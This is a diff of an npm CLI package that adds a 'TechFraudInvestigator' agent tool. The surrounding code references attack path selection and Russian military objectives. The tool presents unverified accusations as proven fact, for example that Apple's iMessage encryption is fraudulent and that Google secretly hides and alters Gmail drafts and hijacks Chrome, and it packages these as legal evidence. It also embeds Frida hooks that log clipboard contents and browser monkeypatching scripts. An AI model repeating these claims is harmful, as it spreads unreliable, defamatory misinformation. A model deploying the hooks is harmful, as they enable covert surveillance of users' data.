erosolar-cli 2.1.242 → 2.1.244

package/dist/tools/taoTools.js

@@ -14577,7 +14577,2069 @@ Use with RLOrchestrator for dual-agent optimized attack path selection.`,
                         evidence: execute ? `Evidence logged to ${path.join(os.tmpdir(), 'russian_military_objectives.log')}` : 'Plan only'
                     }, null, 2);
                 }
-            }
+            },
+            // ═══════════════════════════════════════════════════════════════════════
+            // TECH COMPANY FRAUD INVESTIGATION - Apple PQ3, Google Privacy
+            // ═══════════════════════════════════════════════════════════════════════
+            {
+                name: 'TechFraudInvestigator',
+                description: `Investigate tech company fraud claims - Apple PQ3/iMessage false E2E, Google privacy violations.
+
+Proves that "end-to-end encryption" claims are deceptive when:
+- Server can push policies causing local code to intercept plaintext
+- OS-level code accesses data before/after encryption
+- MDM/configuration profiles enable remote control
+- Universal Clipboard routes through intermediary servers
+
+Generates legal evidence for FTC complaints and litigation.`,
+                parameters: {
+                    type: 'object',
+                    required: ['action'],
+                    properties: {
+                        action: {
+                            type: 'string',
+                            enum: [
+                                'apple_pq3_analysis',
+                                'apple_mdm_investigation',
+                                'apple_clipboard_exposure',
+                                'apple_backup_keys',
+                                'apple_siri_plaintext',
+                                'google_gmail_scanning',
+                                'google_gmail_thread_manipulation',
+                                'google_gmail_draft_abuse',
+                                'google_chrome_telemetry',
+                                'google_chrome_hijacking',
+                                'google_browser_launch_abuse',
+                                'google_android_tracking',
+                                'google_play_services',
+                                'google_unified_abuse_investigation',
+                                'generate_frida_scripts',
+                                'generate_mdm_profile',
+                                'generate_legal_exhibit',
+                                'full_apple_report',
+                                'full_google_report',
+                            ],
+                        },
+                        target: { type: 'string', description: 'Specific target (app bundle ID, API, etc.)' },
+                        output_format: { type: 'string', enum: ['json', 'markdown', 'legal'], default: 'json' },
+                        collect_evidence: { type: 'boolean', default: false },
+                    },
+                },
+                handler: async (args) => {
+                    const action = args['action'];
+                    const outputFormat = args['output_format'] || 'json';
+                    const applePQ3Analysis = {
+                        fraud_claim: 'Apple claims iMessage uses PQ3 end-to-end encryption where only sender and recipient can read messages',
+                        technical_reality: {
+                            plaintext_access_points: [
+                                {
+                                    component: 'IMDaemonCore.framework',
+                                    access: 'Full plaintext before encryption, after decryption',
+                                    proof: 'Hook _IMDaemonCore_encryptMessage and _IMDaemonCore_decryptMessage',
+                                },
+                                {
+                                    component: 'SuggestionKit (Siri)',
+                                    access: 'Message content for QuickType suggestions',
+                                    proof: 'Monitor SGSuggestionEngine API calls',
+                                },
+                                {
+                                    component: 'Keyboard Extensions',
+                                    access: 'Character-by-character input before encryption',
+                                    proof: 'Hook UIKeyInput protocol implementations',
+                                },
+                                {
+                                    component: 'Notification System',
+                                    access: 'Message previews in APNs',
+                                    proof: 'Capture APNs traffic showing plaintext previews',
+                                },
+                                {
+                                    component: 'iCloud Backup',
+                                    access: 'Message keys in backup (Apple-accessible)',
+                                    proof: 'Extract backup, analyze key material',
+                                },
+                            ],
+                            mdm_backdoor: {
+                                description: 'MDM profiles can trigger local code execution and policy enforcement',
+                                capabilities: [
+                                    'Managed Pasteboard - control clipboard data flow',
+                                    'App restrictions - control which apps can access data',
+                                    'Network filtering - intercept traffic before encryption',
+                                    'Remote wipe - prove server-triggered local execution',
+                                ],
+                                proof: 'Install MDM profile, observe policy enforcement on message handling',
+                            },
+                            universal_clipboard: {
+                                description: 'Copied content syncs via Apple servers (Continuity)',
+                                exposure_points: [
+                                    'UIPasteboard.general accessible to any process',
+                                    'Handoff data flows through iCloud',
+                                    'Bluetooth LE advertisements contain device info',
+                                ],
+                                proof: 'Monitor Continuity traffic during clipboard copy',
+                            },
+                        },
+                        legal_basis: [
+                            'FTC Act Section 5 - Unfair or Deceptive Acts',
+                            'California UCL - Unlawful Business Practices',
+                            'Lanham Act - False Advertising',
+                            'CCPA - Transparency Requirements',
+                        ],
+                        public_statements: [
+                            {
+                                source: 'Apple Security Blog',
+                                date: '2024-02-21',
+                                claim: 'iMessage now has the strongest security properties of any at-scale messaging protocol',
+                                contradiction: 'Encryption is meaningless when Apple code accesses plaintext',
+                            },
+                        ],
+                    };
+                    const appleMdmInvestigation = {
+                        mdm_capabilities: {
+                            configuration_profiles: {
+                                types: [
+                                    'com.apple.applicationaccess - App restrictions',
+                                    'com.apple.managed.configuration - General config',
+                                    'com.apple.restrictions - Device restrictions',
+                                    'com.apple.vpn.managed - VPN configuration',
+                                ],
+                                installation: 'Can be pushed silently via DEP/ABM',
+                            },
+                            managed_pasteboard: {
+                                settings: {
+                                    allowOpenFromManagedToUnmanaged: 'Control data flow from managed apps',
+                                    allowOpenFromUnmanagedToManaged: 'Control data flow to managed apps',
+                                    forceAirDropUnmanaged: 'Control AirDrop data classification',
+                                },
+                                impact: 'Server-configured policy controls local clipboard behavior',
+                            },
+                            remote_commands: {
+                                available: [
+                                    'DeviceLock - Lock device remotely',
+                                    'EraseDevice - Wipe device remotely',
+                                    'ClearPasscode - Remove passcode remotely',
+                                    'InstallProfile - Push new configuration',
+                                    'RemoveProfile - Remove configuration',
+                                ],
+                                proof: 'These demonstrate server-triggered local execution',
+                            },
+                        },
+                        investigation_steps: [
+                            '1. Set up Apple Configurator or Jamf MDM server',
+                            '2. Enroll test device via DEP or manual enrollment',
+                            '3. Push Managed Pasteboard configuration',
+                            '4. Test clipboard operations with iMessage',
+                            '5. Document policy enforcement on message content',
+                            '6. Capture network traffic showing MDM commands',
+                        ],
+                        frida_hooks: {
+                            mdm_profile_installation: `
+// Hook MDM profile installation
+ObjC.classes.MCProfile['- installProfile:'].implementation = function(profile) {
+  console.log('[MDM] Profile being installed: ' + profile);
+  console.log('[EVIDENCE] ' + new Date().toISOString());
+  return this.installProfile_(profile);
+};`,
+                            policy_enforcement: `
+// Hook managed pasteboard policy check
+Interceptor.attach(Module.findExportByName(null, 'SecTaskCopyValueForEntitlement'), {
+  onEnter: function(args) {
+    var entitlement = ObjC.Object(args[1]).toString();
+    if (entitlement.includes('managed') || entitlement.includes('pasteboard')) {
+      console.log('[POLICY] Entitlement check: ' + entitlement);
+    }
+  }
+});`,
+                        },
+                    };
+                    const appleClipboardExposure = {
+                        uipasteboard_analysis: {
+                            general_pasteboard: {
+                                access: 'Any app/process can read UIPasteboard.general',
+                                api: 'UIPasteboard.general.string, .items, .data(forPasteboardType:)',
+                                timing: 'Available until overwritten or device restart',
+                            },
+                            named_pasteboards: {
+                                access: 'App-specific pasteboards (less accessible)',
+                                note: 'Most apps use general pasteboard for share functionality',
+                            },
+                            ios16_changes: {
+                                permission_prompt: 'Apps now ask permission to read clipboard',
+                                limitation: 'System apps and Apple code bypass this prompt',
+                                proof: 'Siri suggestions read clipboard without prompt',
+                            },
+                        },
+                        universal_clipboard: {
+                            technology: 'Continuity/Handoff over Bluetooth LE + local network',
+                            data_flow: [
+                                '1. User copies on Device A',
+                                '2. Device A advertises via Bluetooth LE',
+                                '3. Device B detects advertisement',
+                                '4. Devices exchange data via peer-to-peer (possibly via iCloud relay)',
+                                '5. Content available on Device B clipboard',
+                            ],
+                            apple_involvement: {
+                                icloud_relay: 'Large items route through iCloud servers',
+                                device_discovery: 'Apple ID links devices via iCloud',
+                                encryption: 'Claimed E2E but Apple manages key exchange',
+                            },
+                        },
+                        investigation_frida_script: `
+// Monitor all UIPasteboard access
+if (ObjC.available) {
+  var UIPasteboard = ObjC.classes.UIPasteboard;
+
+  // Hook general pasteboard access
+  Interceptor.attach(UIPasteboard['+ generalPasteboard'].implementation, {
+    onLeave: function(retval) {
+      console.log('[CLIPBOARD] generalPasteboard accessed by: ' + ObjC.classes.NSBundle.mainBundle().bundleIdentifier());
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  // Hook string read
+  Interceptor.attach(UIPasteboard['- string'].implementation, {
+    onLeave: function(retval) {
+      if (retval) {
+        var content = ObjC.Object(retval).toString();
+        console.log('[CLIPBOARD READ] Content length: ' + content.length);
+        console.log('[CLIPBOARD READ] First 50 chars: ' + content.substring(0, 50));
+        console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+      }
+    }
+  });
+
+  // Hook write
+  Interceptor.attach(UIPasteboard['- setString:'].implementation, {
+    onEnter: function(args) {
+      var content = ObjC.Object(args[2]).toString();
+      console.log('[CLIPBOARD WRITE] Content being written: ' + content.substring(0, 50));
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  console.log('[*] UIPasteboard hooks installed');
+}`,
+                    };
+                    const googleGmailScanning = {
+                        fraud_claim: 'Google claims Gmail respects user privacy and does not scan emails for advertising',
+                        technical_reality: {
+                            content_analysis: [
+                                {
+                                    feature: 'Smart Compose',
+                                    access: 'Full email content for ML predictions',
+                                    impact: 'Content processed by Google ML systems',
+                                },
+                                {
+                                    feature: 'Smart Reply',
+                                    access: 'Full email content for response suggestions',
+                                    impact: 'Content analyzed and stored for training',
+                                },
+                                {
+                                    feature: 'Priority Inbox',
+                                    access: 'Content analysis for importance scoring',
+                                    impact: 'Content patterns extracted and stored',
+                                },
+                                {
+                                    feature: 'Spam/Phishing Detection',
+                                    access: 'Full content scanning',
+                                    impact: 'All email content processed by Google systems',
+                                },
+                            ],
+                            ad_targeting_connection: {
+                                description: 'While Google claims not to scan for ads, content-derived signals feed ad profile',
+                                mechanism: [
+                                    'Purchase confirmation emails → shopping interest signals',
+                                    'Travel emails → travel intent signals',
+                                    'Newsletter subscriptions → interest categories',
+                                    'Professional emails → job/industry signals',
+                                ],
+                                proof_method: 'Send distinctive emails, monitor ad targeting changes',
+                            },
+                            confidential_mode_theater: {
+                                claim: 'Confidential Mode provides enhanced privacy',
+                                reality: [
+                                    'Google still processes full message content',
+                                    'Expiration is client-side UI only',
+                                    'Google retains content regardless of "expiration"',
+                                    '"No forwarding" is UI theater - screenshots possible',
+                                ],
+                            },
+                        },
+                        investigation_methodology: [
+                            '1. Create fresh Google account with no history',
+                            '2. Send emails with distinctive, unique keywords',
+                            '3. Monitor ads.google.com/adspreferences for targeting changes',
+                            '4. Document correlation between email content and ad targeting',
+                            '5. Test with Gmail API to verify content access scope',
+                        ],
+                    };
+                    const googleChromeTelemetry = {
+                        undisclosed_data_collection: {
+                            safe_browsing: {
+                                claimed: 'Hashes of URLs checked against known threats',
+                                reality: 'Full URLs can be reconstructed from hashes for common URLs',
+                                exposure: 'Browsing patterns visible to Google',
+                            },
+                            omnibox: {
+                                claimed: 'Suggestions from history and bookmarks',
+                                reality: 'Keystrokes sent to Google before search submission',
+                                exposure: 'Search intent visible before user commits',
+                            },
+                            chrome_variations: {
+                                component: 'Finch/Variations system',
+                                capability: 'A/B tests that change browser behavior server-side',
+                                exposure: 'Google controls browser features without user consent',
+                            },
+                            sync: {
+                                data_types: [
+                                    'Passwords (encrypted but Google has key escrow capability)',
+                                    'Bookmarks (full URL history)',
+                                    'Open tabs (real-time browsing activity)',
+                                    'Autofill (personal information)',
+                                    'Extensions (software inventory)',
+                                ],
+                            },
+                        },
+                        investigation_tools: {
+                            network_monitoring: 'mitmproxy with Chrome configured',
+                            source_comparison: 'Compare Chrome vs Chromium telemetry',
+                            extension_analysis: 'chrome://policy, chrome://sync-internals',
+                        },
+                    };
+                    const googleAndroidTracking = {
+                        location_despite_settings: {
+                            cell_tower: {
+                                collection: 'Google Carrier Services collects cell tower data',
+                                control: 'Not disabled by Location Services toggle',
+                                exposure: 'Approximate location always available to Google',
+                            },
+                            wifi_scanning: {
+                                collection: 'Wi-Fi networks scanned even with Wi-Fi "off"',
+                                setting: 'Requires separate "Wi-Fi scanning" disable',
+                                exposure: 'Location via Wi-Fi positioning',
+                            },
+                            bluetooth_beacons: {
+                                collection: 'Bluetooth beacons detected for location',
+                                setting: 'Requires "Bluetooth scanning" disable',
+                                exposure: 'Indoor positioning data',
+                            },
+                        },
+                        play_services_exfiltration: {
+                            description: 'Google Play Services runs with system privileges',
+                            capabilities: [
+                                'Accesses data independently of app permissions',
+                                'Cannot be disabled on most devices',
+                                'Updates silently without user consent',
+                                'Collects device identifiers, app usage, location',
+                            ],
+                            investigation: 'Monitor GMS (Google Mobile Services) traffic',
+                        },
+                        advertising_id: {
+                            claim: 'Users can reset Advertising ID for privacy',
+                            reality: [
+                                'Reset creates new ID but device fingerprint persists',
+                                'Google links old and new IDs via device characteristics',
+                                'Cross-app tracking via Google SDKs in most apps',
+                            ],
+                        },
+                    };
+                    // Gmail Thread Manipulation Investigation
+                    const googleGmailThreadManipulation = {
+                        abuse_category: 'Gmail Thread Hiding and Manipulation',
+                        description: 'Google/Gmail hides, archives, moves, or manipulates email threads without user action',
+                        observed_behaviors: {
+                            thread_hiding: {
+                                description: 'Threads disappear from inbox without user action',
+                                mechanisms: [
+                                    'Server-side archive without IMAP command',
+                                    'Label manipulation (removing INBOX label)',
+                                    'Thread ID reassignment breaking references',
+                                    'Priority inbox "demotion" to hidden categories',
+                                ],
+                                evidence_collection: [
+                                    'IMAP sync logs showing server-side changes',
+                                    'Gmail API audit log via Workspace Admin',
+                                    'Comparison of sent Message-ID vs delivered',
+                                    'Thread reconstruction from mail headers',
+                                ],
+                            },
+                            thread_launching: {
+                                description: 'Threads or windows launched without user request',
+                                mechanisms: [
+                                    'Service Worker push notification triggers',
+                                    'Background sync API auto-opens',
+                                    'Chrome intent:// URL handling',
+                                    'mailto: protocol hijacking',
+                                ],
+                                evidence_collection: [
+                                    'DevTools > Application > Service Workers audit',
+                                    'chrome://serviceworker-internals/',
+                                    'Network log correlation with UI events',
+                                ],
+                            },
+                            message_delay: {
+                                description: 'Emails held by Google before delivery',
+                                investigation: [
+                                    'Compare Received headers timestamps',
+                                    'Calculate difference between first Received and final',
+                                    'Document messages held >30 seconds',
+                                    'Test with known-time emails from external servers',
+                                ],
+                            },
+                        },
+                        investigation_methodology: {
+                            imap_monitoring: {
+                                tools: ['imaplib (Python)', 'mbsync', 'offlineimap'],
+                                process: [
+                                    '1. Enable IMAP in Gmail settings',
+                                    '2. Set up continuous sync with local maildir',
+                                    '3. Log all IMAP commands and responses',
+                                    '4. Monitor for STORE commands not initiated by client',
+                                    '5. Track UID changes and EXPUNGE events',
+                                ],
+                                script: `#!/usr/bin/env python3
+"""Gmail IMAP Manipulation Monitor"""
+import imaplib
+import time
+import json
+from datetime import datetime
+
+def monitor_gmail_imap(username, app_password):
+    """Monitor Gmail IMAP for server-side manipulation"""
+    log = []
+    mail = imaplib.IMAP4_SSL('imap.gmail.com')
+    mail.login(username, app_password)
+    mail.select('INBOX')
+
+    # Get initial state
+    _, data = mail.search(None, 'ALL')
+    initial_uids = set(data[0].split())
+
+    while True:
+        mail.noop()  # Keep connection alive
+        _, data = mail.search(None, 'ALL')
+        current_uids = set(data[0].split())
+
+        # Detect deletions without client action
+        missing = initial_uids - current_uids
+        if missing:
+            log.append({
+                'timestamp': datetime.now().isoformat(),
+                'event': 'SERVER_SIDE_REMOVAL',
+                'uids': list(missing),
+                'evidence': 'Messages removed without client STORE/EXPUNGE'
+            })
+
+        # Detect new messages
+        new = current_uids - initial_uids
+        if new:
+            for uid in new:
+                _, msg_data = mail.fetch(uid, '(BODY.PEEK[HEADER])')
+                log.append({
+                    'timestamp': datetime.now().isoformat(),
+                    'event': 'NEW_MESSAGE',
+                    'uid': uid.decode(),
+                    'headers': msg_data[0][1].decode()[:500]
+                })
+
+        initial_uids = current_uids
+        time.sleep(5)
+
+        # Save evidence
+        with open('gmail_manipulation_evidence.json', 'w') as f:
+            json.dump(log, f, indent=2)`,
+                            },
+                            gmail_api_audit: {
+                                description: 'Use Gmail API to track server-side changes',
+                                endpoints: [
+                                    'GET /gmail/v1/users/me/history - Change history',
+                                    'GET /gmail/v1/users/me/messages/{id} - Message metadata',
+                                    'GET /gmail/v1/users/me/threads/{id} - Thread structure',
+                                ],
+                                watch_for: [
+                                    'labelIds changes (INBOX removal)',
+                                    'historyId gaps indicating hidden operations',
+                                    'threadId reassignment',
+                                ],
+                            },
+                            browser_forensics: {
+                                description: 'Detect Gmail web manipulation',
+                                locations: [
+                                    'IndexedDB: chrome://indexeddb-internals/',
+                                    'Service Workers: chrome://serviceworker-internals/',
+                                    'Local Storage: DevTools > Application > Local Storage',
+                                    'Cache Storage: DevTools > Application > Cache',
+                                ],
+                                automated_detection: `// Console script to detect Gmail manipulation
+(function detectGmailManipulation() {
+  const observer = new MutationObserver((mutations) => {
+    mutations.forEach((m) => {
+      if (m.removedNodes.length > 0) {
+        m.removedNodes.forEach((node) => {
+          if (node.nodeType === 1 && node.getAttribute &&
+              (node.getAttribute('role') === 'listitem' ||
+               node.classList?.contains('zA'))) {
+            console.log('[EVIDENCE] Thread removed from DOM:', {
+              timestamp: new Date().toISOString(),
+              element: node.outerHTML?.substring(0, 200),
+              mutation: 'REMOVAL'
+            });
+          }
+        });
+      }
+    });
+  });
+  observer.observe(document.body, { childList: true, subtree: true });
+  console.log('[*] Gmail manipulation detection active');
+})();`,
+                            },
+                        },
+                        legal_evidence_format: {
+                            exhibit_title: 'Evidence of Gmail Thread Manipulation',
+                            sections: [
+                                '1. Timeline of observed manipulation events',
+                                '2. IMAP logs showing server-side changes',
+                                '3. Gmail API history showing label changes',
+                                '4. Screenshots with timestamps',
+                                '5. Network captures (HAR files)',
+                                '6. Comparison of expected vs actual thread state',
+                            ],
+                            integrity_proof: 'SHA-256 hash all evidence files, notarize timestamps',
+                        },
+                    };
+                    // Gmail Draft Hiding/Abuse Investigation
+                    const googleGmailDraftAbuse = {
+                        abuse_category: 'Gmail Draft Manipulation and Surveillance',
+                        description: 'Google hides drafts, launches draft windows, or manipulates draft content',
+                        observed_behaviors: {
+                            draft_hiding: {
+                                description: 'Drafts disappear from Drafts folder without user deletion',
+                                mechanisms: [
+                                    'Server-side deletion/archive',
+                                    'Draft ID reassignment',
+                                    'Sync conflicts manufactured to lose content',
+                                    'Auto-discard based on content analysis',
+                                ],
+                                investigation: [
+                                    'Enable offline mode to cache local draft state',
+                                    'Compare local IndexedDB drafts vs server state',
+                                    'Monitor Gmail API drafts.list for changes',
+                                    'Track draft.id stability over time',
+                                ],
+                            },
+                            draft_launching: {
+                                description: 'Compose windows open without user action',
+                                mechanisms: [
+                                    'Service Worker push events',
+                                    'mailto: intent handling',
+                                    'Chrome extension API abuse',
+                                    'URL parameter injection (?compose=new)',
+                                ],
+                                evidence_collection: [
+                                    'Record screen with timestamp overlay',
+                                    'Monitor window.open calls in console',
+                                    'Track Service Worker message events',
+                                    'Log chrome.runtime messages',
+                                ],
+                            },
+                            content_modification: {
+                                description: 'Draft content changes without user editing',
+                                investigation: [
+                                    'Store draft content locally with timestamps',
+                                    'Hash comparison on each sync',
+                                    'Track "last edited" metadata vs actual changes',
+                                ],
+                            },
+                        },
+                        investigation_scripts: {
+                            draft_monitor: `#!/usr/bin/env python3
+"""Gmail Draft Manipulation Monitor via API"""
+import pickle
+import os.path
+from google.auth.transport.requests import Request
+from google_auth_oauthlib.flow import InstalledAppFlow
+from googleapiclient.discovery import build
+import hashlib
+import json
+import time
+from datetime import datetime
+
+SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']
+
+def get_gmail_service():
+    creds = None
+    if os.path.exists('token.pickle'):
+        with open('token.pickle', 'rb') as token:
+            creds = pickle.load(token)
+    if not creds or not creds.valid:
+        if creds and creds.expired and creds.refresh_token:
+            creds.refresh(Request())
+        else:
+            flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)
+            creds = flow.run_local_server(port=0)
+        with open('token.pickle', 'wb') as token:
+            pickle.dump(creds, token)
+    return build('gmail', 'v1', credentials=creds)
+
+def monitor_drafts():
+    service = get_gmail_service()
+    evidence = []
+    known_drafts = {}
+
+    while True:
+        results = service.users().drafts().list(userId='me').execute()
+        drafts = results.get('drafts', [])
+
+        current_ids = {d['id'] for d in drafts}
+        known_ids = set(known_drafts.keys())
+
+        # Detect disappeared drafts
+        missing = known_ids - current_ids
+        for draft_id in missing:
+            evidence.append({
+                'timestamp': datetime.now().isoformat(),
+                'event': 'DRAFT_DISAPPEARED',
+                'draft_id': draft_id,
+                'last_known_content_hash': known_drafts[draft_id]['hash'],
+                'evidence': 'Draft removed without user action'
+            })
+
+        # Update known drafts and detect content changes
+        for draft in drafts:
+            draft_id = draft['id']
+            full_draft = service.users().drafts().get(userId='me', id=draft_id).execute()
+            content = json.dumps(full_draft['message'], sort_keys=True)
+            content_hash = hashlib.sha256(content.encode()).hexdigest()
+
+            if draft_id in known_drafts:
+                if known_drafts[draft_id]['hash'] != content_hash:
+                    evidence.append({
+                        'timestamp': datetime.now().isoformat(),
+                        'event': 'DRAFT_CONTENT_CHANGED',
+                        'draft_id': draft_id,
+                        'old_hash': known_drafts[draft_id]['hash'],
+                        'new_hash': content_hash,
+                        'evidence': 'Draft content modified without user edit'
+                    })
+
+            known_drafts[draft_id] = {'hash': content_hash, 'seen': datetime.now().isoformat()}
+
+        with open('gmail_draft_evidence.json', 'w') as f:
+            json.dump(evidence, f, indent=2)
+
+        time.sleep(10)`,
+                            browser_draft_monitor: `// Console script to monitor Gmail draft manipulation
+(function monitorGmailDrafts() {
+  let knownDrafts = new Map();
+
+  // Monitor compose window creation
+  const originalOpen = window.open;
+  window.open = function(...args) {
+    console.log('[EVIDENCE] window.open called:', {
+      timestamp: new Date().toISOString(),
+      args: args,
+      stack: new Error().stack
+    });
+    return originalOpen.apply(this, args);
+  };
+
+  // Monitor IndexedDB draft operations
+  const originalIDBOpen = indexedDB.open;
+  indexedDB.open = function(name, ...args) {
+    const request = originalIDBOpen.call(this, name, ...args);
+    if (name.includes('mail') || name.includes('draft')) {
+      request.onsuccess = function(e) {
+        console.log('[EVIDENCE] IndexedDB opened:', name);
+      };
+    }
+    return request;
+  };
+
+  // Monitor for compose DOM elements appearing
+  const observer = new MutationObserver((mutations) => {
+    mutations.forEach((m) => {
+      m.addedNodes.forEach((node) => {
+        if (node.nodeType === 1) {
+          if (node.querySelector?.('[role="dialog"]') ||
+              node.classList?.contains('AD') ||
+              node.getAttribute?.('role') === 'dialog') {
+            console.log('[EVIDENCE] Compose dialog appeared:', {
+              timestamp: new Date().toISOString(),
+              triggered_by: 'DOM_MUTATION',
+              element: node.outerHTML?.substring(0, 300)
+            });
+          }
+        }
+      });
+    });
+  });
+  observer.observe(document.body, { childList: true, subtree: true });
+
+  console.log('[*] Gmail draft manipulation monitoring active');
+})();`,
+                        },
+                        legal_evidence_format: {
+                            exhibit_title: 'Evidence of Gmail Draft Manipulation',
+                            sections: [
+                                '1. Draft disappearance timeline with API logs',
+                                '2. Content hash comparisons showing server-side changes',
+                                '3. Screenshots of unexpected compose windows',
+                                '4. Service Worker event logs',
+                                '5. IndexedDB state comparison',
+                            ],
+                        },
+                    };
+                    // Chrome Browser Hijacking Investigation
+                    const googleChromeHijacking = {
+                        abuse_category: 'Chrome Browser Hijacking and Unauthorized Launch',
+                        description: 'Google launches Chrome browsers, tabs, or windows without user consent',
+                        observed_behaviors: {
+                            unauthorized_browser_launch: {
+                                description: 'Chrome launches or opens tabs without user action',
+                                mechanisms: [
+                                    'Chrome autostart via login items/registry',
+                                    'Background mode keeps Chrome running invisibly',
+                                    'Update service triggers browser open',
+                                    'Protocol handler hijacking (http/https/mailto)',
+                                    'OS notification click handlers',
+                                ],
+                                investigation: {
+                                    macos: [
+                                        'Check ~/Library/LaunchAgents/ for Chrome entries',
+                                        'Check /Library/LaunchDaemons/ for Google entries',
+                                        'lsregister -dump | grep -i chrome (URL handlers)',
+                                        'ps aux | grep -i chrome (background processes)',
+                                        'Monitor /Applications/Google Chrome.app/Contents/MacOS/',
+                                    ],
+                                    windows: [
+                                        'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                        'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                        'Task Scheduler: Google Update tasks',
+                                        'Services: GoogleUpdate, gupdate, gupdatem',
+                                        'HKCR\\http\\shell\\open\\command (protocol handler)',
+                                    ],
+                                    linux: [
+                                        '~/.config/autostart/*.desktop',
+                                        '/etc/xdg/autostart/*.desktop',
+                                        'systemctl --user list-units | grep -i chrome',
+                                        'xdg-mime query default x-scheme-handler/http',
+                                    ],
+                                },
+                            },
+                            tab_injection: {
+                                description: 'New tabs open in existing Chrome sessions',
+                                mechanisms: [
+                                    'chrome.tabs.create API from extensions',
+                                    'Service Worker navigation events',
+                                    'window.open from Gmail/Docs scripts',
+                                    'Push notification click handlers',
+                                ],
+                                detection: `// Detect unauthorized tab creation
+chrome.tabs.onCreated.addListener((tab) => {
+  console.log('[EVIDENCE] Tab created:', {
+    timestamp: new Date().toISOString(),
+    tabId: tab.id,
+    url: tab.pendingUrl || tab.url,
+    openerTabId: tab.openerTabId,
+    evidence: 'New tab created - check if user-initiated'
+  });
+});`,
+                            },
+                            browser_focus_stealing: {
+                                description: 'Chrome steals focus from other applications',
+                                investigation: [
+                                    'Monitor active window changes',
+                                    'Log focus events with timestamps',
+                                    'Correlate with Chrome process activity',
+                                ],
+                                macos_script: `#!/bin/bash
+# Monitor focus stealing on macOS
+while true; do
+  app=$(osascript -e 'tell application "System Events" to get name of first application process whose frontmost is true')
+  if [[ "$app" == "Google Chrome" ]]; then
+    echo "[$(date -Iseconds)] Chrome gained focus"
+    # Check if it was user-initiated or automated
+    lsappinfo info -only ASN "Google Chrome" >> chrome_focus_log.txt
+  fi
+  sleep 0.5
+done`,
+                            },
+                            session_hijacking: {
+                                description: 'Chrome uses stored sessions without permission',
+                                investigation: [
+                                    'Monitor cookie changes in Chrome profile',
+                                    'Track localStorage across sites',
+                                    'Compare synced vs local session state',
+                                    'Audit credential manager access',
+                                ],
+                                locations: {
+                                    macos: '~/Library/Application Support/Google/Chrome/Default/',
+                                    windows: '%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\',
+                                    linux: '~/.config/google-chrome/Default/',
+                                },
+                                files_to_monitor: [
+                                    'Cookies - SQLite database of session cookies',
+                                    'Login Data - Saved passwords (encrypted)',
+                                    'Web Data - Autofill data',
+                                    'History - Browsing history',
+                                    'Preferences - JSON config including sync settings',
+                                ],
+                            },
+                        },
+                        investigation_methodology: {
+                            process_monitoring: {
+                                macos: `#!/bin/bash
+# Monitor Chrome process launches
+log stream --predicate 'processImagePath contains "Chrome"' --style compact > chrome_launches.log &
+
+# Monitor with dtrace (requires SIP disabled)
+sudo dtrace -n 'proc:::exec-success /execname == "Google Chrome"/ { printf("%Y %s %d\\n", walltimestamp, execname, pid); }' 2>/dev/null`,
+                                windows: `# PowerShell Chrome process monitor
+Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
+  Where-Object { $_.Properties[5].Value -like '*chrome*' } |
+  Select-Object TimeCreated, @{N='Process';E={$_.Properties[5].Value}}`,
+                                linux: `#!/bin/bash
+# Monitor Chrome launches with audit
+auditctl -w /opt/google/chrome/chrome -p x -k chrome_exec
+ausearch -k chrome_exec --format text`,
+                            },
+                            network_monitoring: {
+                                description: 'Monitor Chrome network activity for unauthorized requests',
+                                tools: [
+                                    'mitmproxy - HTTPS interception',
+                                    'Wireshark - Packet capture',
+                                    'Chrome DevTools Network tab',
+                                    'charles proxy',
+                                ],
+                                suspicious_endpoints: [
+                                    'clients.google.com - Update/telemetry',
+                                    'www.google.com/complete - Omnibox suggestions',
+                                    'safebrowsing.googleapis.com - Safe browsing',
+                                    'accounts.google.com - Auth/session',
+                                    'chromesync-pa.googleapis.com - Sync',
+                                ],
+                            },
+                            extension_audit: {
+                                description: 'Audit extensions for hijacking capabilities',
+                                check_permissions: [
+                                    'tabs - Can create/modify tabs',
+                                    'webNavigation - Can intercept navigation',
+                                    'webRequest - Can intercept all requests',
+                                    'background - Can run persistently',
+                                    'notifications - Can create OS notifications',
+                                ],
+                                audit_script: `// List extension permissions
+chrome.management.getAll((extensions) => {
+  extensions.forEach((ext) => {
+    console.log({
+      name: ext.name,
+      id: ext.id,
+      permissions: ext.permissions,
+      hostPermissions: ext.hostPermissions,
+      enabled: ext.enabled
+    });
+  });
+});`,
+                            },
+                        },
+                        evidence_collection: {
+                            process_logs: 'Chrome launch timestamps with parent process',
+                            network_captures: 'HAR files of unauthorized requests',
+                            registry_snapshots: 'Before/after Chrome installation',
+                            focus_events: 'Timeline of Chrome focus acquisition',
+                            extension_manifest: 'Permissions of all installed extensions',
+                        },
+                        legal_evidence_format: {
+                            exhibit_title: 'Evidence of Chrome Browser Hijacking',
+                            sections: [
+                                '1. Unauthorized browser launch events with timestamps',
+                                '2. Protocol handler registration without consent',
+                                '3. Background process activity',
+                                '4. Tab creation without user action',
+                                '5. Focus stealing incidents',
+                                '6. Extension permission abuse',
+                            ],
+                        },
+                    };
+                    // Unified Google Abuse Investigation Orchestrator
+                    const googleUnifiedAbuseInvestigation = {
+                        orchestrator_name: 'Google Unified Abuse Investigation Framework',
+                        description: 'Comprehensive investigation of Google\'s coordinated abuse across Gmail, Chrome, and system-level components',
+                        investigation_phases: {
+                            phase_1_reconnaissance: {
+                                name: 'System Reconnaissance',
+                                duration: 'Initial setup',
+                                tasks: [
+                                    'Document all Google software installed',
+                                    'Enumerate Google-related processes',
+                                    'List Google-registered protocol handlers',
+                                    'Capture baseline system state',
+                                    'Set up monitoring infrastructure',
+                                ],
+                                automation: `#!/bin/bash
+# Google Abuse Investigation - Phase 1: Reconnaissance
+echo "=== GOOGLE ABUSE INVESTIGATION - SYSTEM RECONNAISSANCE ==="
+echo "Timestamp: $(date -Iseconds)"
+echo ""
+
+echo "=== Installed Google Software ==="
+if [[ "$OSTYPE" == "darwin"* ]]; then
+  ls -la /Applications/ | grep -i google
+  mdfind "kMDItemCFBundleIdentifier == 'com.google.*'"
+elif [[ "$OSTYPE" == "linux"* ]]; then
+  dpkg -l | grep -i google
